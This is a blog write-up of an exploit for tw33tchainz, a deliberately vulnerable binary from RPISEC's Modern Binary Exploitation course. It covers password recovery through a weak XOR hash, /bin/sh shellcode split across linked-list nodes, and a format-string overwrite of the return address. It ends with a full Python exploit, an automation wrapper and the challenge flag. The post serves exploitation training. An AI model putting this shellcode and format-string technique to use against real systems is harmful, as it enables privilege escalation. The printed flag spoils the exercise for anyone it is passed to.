Blog

RPISEC MBE Tw33tChainz

2015-02-27 00:05:09

This is a write up on the first project of RPISEC's class Modern Binary Exploitation.
We received access to an account on the warzone which could run a suid x86 ELF with elevated permissions
of project1_priv.
If you run the program you encounter quite a bit of ascii art:



But the application itself seems to be mostly a linked list with string elements of length 16, which you
can then display back to the screen. It also has a "login" at the start where you enter a username and
a hash.

I began fuzzing the program on the server. I found out that it was taking buffered input, most likely
using fgets so it might be hard to get a buffer overflow. I also noticed quickly that on the option menu
there was a hidden open under '3' which would prompt for an admin password. I also noticed a 6th option,
but I will get to that later.

To further investigate I scp'ed the ELF off the server and started some static reverse engineering on it.
With it open in ida I looked at the hidden option first:



Following the call, I found where the user's input was compared against a 16 character buffer.
Xreferenceing the buffer, I found that it was filled in the function gen_pass.



Here we see that it is reading 16 bytes from /dev/urandom into the buffer. So we need some kind of data
leak to make use of that.

To test the functions of the administrator, I created a patched version of the binary that always accepted
any input for the admin password.



Now I began to explore the program as the admin. At first glance, it appears that all it does is allow the
user to toggle an option to show the addresses of the links in the linked list.

However, through some further fuzzing I noticed a format string venerability that is only active as admin.
When you make a tw33t, the last one shows up in the main menu, but is passed directly as the format string.
To test I tw33ted a "%x" to read a value off the stack.



Something else to note about that address that we leaked; it is the same one as the tail of the linked list.
Looking at the vulnerability in ida, its just as I expected:



Armed with this knowledge, it was time to crack the admin's password. I began by looking at the where else it
was used. I couldn't find any xrefs that helped, but I eventually looked in the hash function and noticed that
some hard coded constants were actual pointers to the user, salt, and admin pass. The actually hashing function
is this:



It takes one byte of each buffer (user, hash, and admin) and does the following operation:
Final[i]=(Salt[i]+Admin[i])^User[i]
This is really easy to break, as we control user and hash. If we give both all zeros, the net result of the
hash will be the original admin password. The hash is then directly printed to the screen for our convenience.
With this we could get admin almost every time we ran the program.

The next thing I did was to inject some shell code into the linked list. This was pretty straightforward, as I
only had to break the shell code up into 14 bytes with 2 byte jump to go between links. I used a standard execve
shellcode which I modified to work with the jumps.



The next and more difficult step was to get control of eip, so I began playing around with the format string.
Here was some of the stack that I could work with:



Some interesting values:
0xbf993b04 = Pointer to the tail of the linked list, ie the format string on the heap.
0xbf993b18 = Pointer to address before saved eip location.
0xbf993b20 = First address space we control (I had some got.plt overwrite stuff going on here. Ignore it.)
0xbf993b24 - 0xbf993b2c = The rest of the area we directly control.
0xbf993b3c = The saved eip location that we want to overwrite.
Further down the stack are environmental variables arguments etc.

From here there are a few options. The most straightforward is to overwrite the saved eip location with a pointer
to our shellcode from earlier. However we only have 16 bytes to do our format string, which can be a little tricky,
and one byte was all ready taken up by a byte of padding due to a weird offset.

To get it to work I ended up using the pointer to the last link instead of putting a pointer to our earlier links
(which would waste 4 bytes of space.) I put the pointer to the saved eip onto the stack as the first few bytes of
the format string and then used "%.*x" to print a number of 0s equal to the last link's address (first argument).
Then simply used %n to store that value into the return address.

The tricky part here was that this was returning into the middle of our format string, 5 bytes in. This both wasn't
our shell code, but also caused segfaulting of its own. With some fiddling with length and positions I eventually got
it so that it would return to the valid assembly operation to conditionally jump backwards into our shellcode, if
the sign flag was set. Luckly it was, but if it wasn't I used the next two bytes to unconditionally jump back.

With all this set and working on my local machine, I copied over my python script and added a section to leak the
value of the address before the return address (although aslr was off, this pwn would work even if it was enabled).



And with that address in place, I was ready to sit though the 137,846,792 zeros and claim my prize.



The flag is m0_tw33ts_m0_ch4inz_n0_m0n3y
and the final python script is:


import os
import struct
import sys

#Init the user and pass with nulls to counter the hash.
os.write(1,"\x00"*16)
os.write(1,"\x00"*16)

#Have user enter input.
admin = raw_input()
adminPass = ''


if admin!="":
	#Convert the endianness of the password
    for i in range(0,4):
        for j in range(3,-1,-1):
            adminPass+=chr(int(admin[i*8+j*2:i*8+j*2+2],16))
    os.write(1,"\n\n")
    os.write(1,"3\n")
    os.write(1,adminPass+"\n")
else:
    os.write(1,"\n\n")

#Tweet
def store(s):
    os.write(1,"1\n")
    os.write(1,s+"\n")

#Tiny notsled+jumps
store("\x90"*14+"\xeb\x28")
store("\x90"*14+"\xeb\x10")


#/bin/sh ShellCode+jumps
store("\x31\xdb"+"\x31\xc9"+"\xf7\xe1"+"\x50"+"\x68\x6e\x2f\x73\x68"+"\x90\x90"+"\xeb\x10")
store("\x68\x2f\x2f\x62\x69"+"\x89\xe3"+"\xb0\x0b"+"\xcd\x80"+"\x90"*5)


#Pick the target to overwrite (Leaked 0xbffff608 using the format vunrability
goal = 0xbffff608+4

if (len(sys.argv)>1 and sys.argv[0]=="leak"):
	#Leak the stored eip-4
	store("%6$p")
	os.write(1,"\n\n")
	raw_input()
else:
	#Pause before launching '0'day
	raw_input()

	eip=0xbfd38d7c
	
	pl = "A" #Padding
	
	pl+=struct.pack("I",goal) #Target to overwrite
	
	pl+="%.*x" #Write n 0s where n is first argument on the stack (tweet_tail pointer)

	pl+="\x9e\xeb\x9e" #Jumps back to our shellcode once tweet_tail is hit
	
	pl+="%8$n" #Overwrite our goal.
	
	store(pl)
	os.write(1,"\n\n")

	while True:
		#Read from stdin into pipe
		l=raw_input()
		if (l==""):
			break
		os.write(1,l+"\n")


Update:


In an attempt to make it more automatic, I added a wrapper, because I too lazy to modify the piped one.
It might be shaky, as the io is weird at times........

wrapper.py

import subprocess as sub
import re
import time
import sys
import os

if (len(sys.argv)>1 and sys.argv[1]=="leak"):
    sp = sub.Popen("python really.py leak | /levels/project1/tw33tchainz",
    shell=True,stdin=sub.PIPE,stdout=sub.PIPE)

    time.sleep(.5)

    data = sp.stdout.read(2000)

    admin = re.search('Generated Password:\n[0-9a-f]+',data).group(0)
    admin = admin[len('Generated Password:\n'):]
    print "Admin ",admin
    sp.stdin.write(admin+"\n")

    print data

    data = sp.stdout.read(10000)
    print data
    sp.stdin.write("\n")
    data = sp.stdout.read(3200)
    print data
    addr = re.search("0x[a-f0-9]+",data).group(0)[2:]
    print addr
    sp.kill()
    raw_input()
    sp = sub.Popen("python really.py run "+addr+" | /levels/project1/tw33tchainz",
    shell=True,stdin=sub.PIPE,stdout=sub.PIPE)
else:
    sp = sub.Popen("python really.py | /levels/project1/tw33tchainz",
    shell=True,stdin=sub.PIPE,stdout=sub.PIPE)


time.sleep(.5)

data = sp.stdout.read(2000)

admin = re.search('Generated Password:\n[0-9a-f]+',data).group(0)
admin = admin[len('Generated Password:\n'):]
print "Admin ",admin
sp.stdin.write(admin+"\n")

print data
sp.stdin.write("\n\n\n\n")

data = sp.stdout.read(10000)
print data
mode=1
while sp.poll() is None:
    output = sp.stdout.readline()
    l = len(output)
    os.write(1,"."+str(l))
    #print output
    if (l>=10000):
        if (mode==0):
            mode=1
        elif (mode==1):
            break
print "done"
while True:
    print ">"
    s = raw_input()
    sp.stdin.write(s+"\n")
    print sp.stdout.readline()
sp.kill()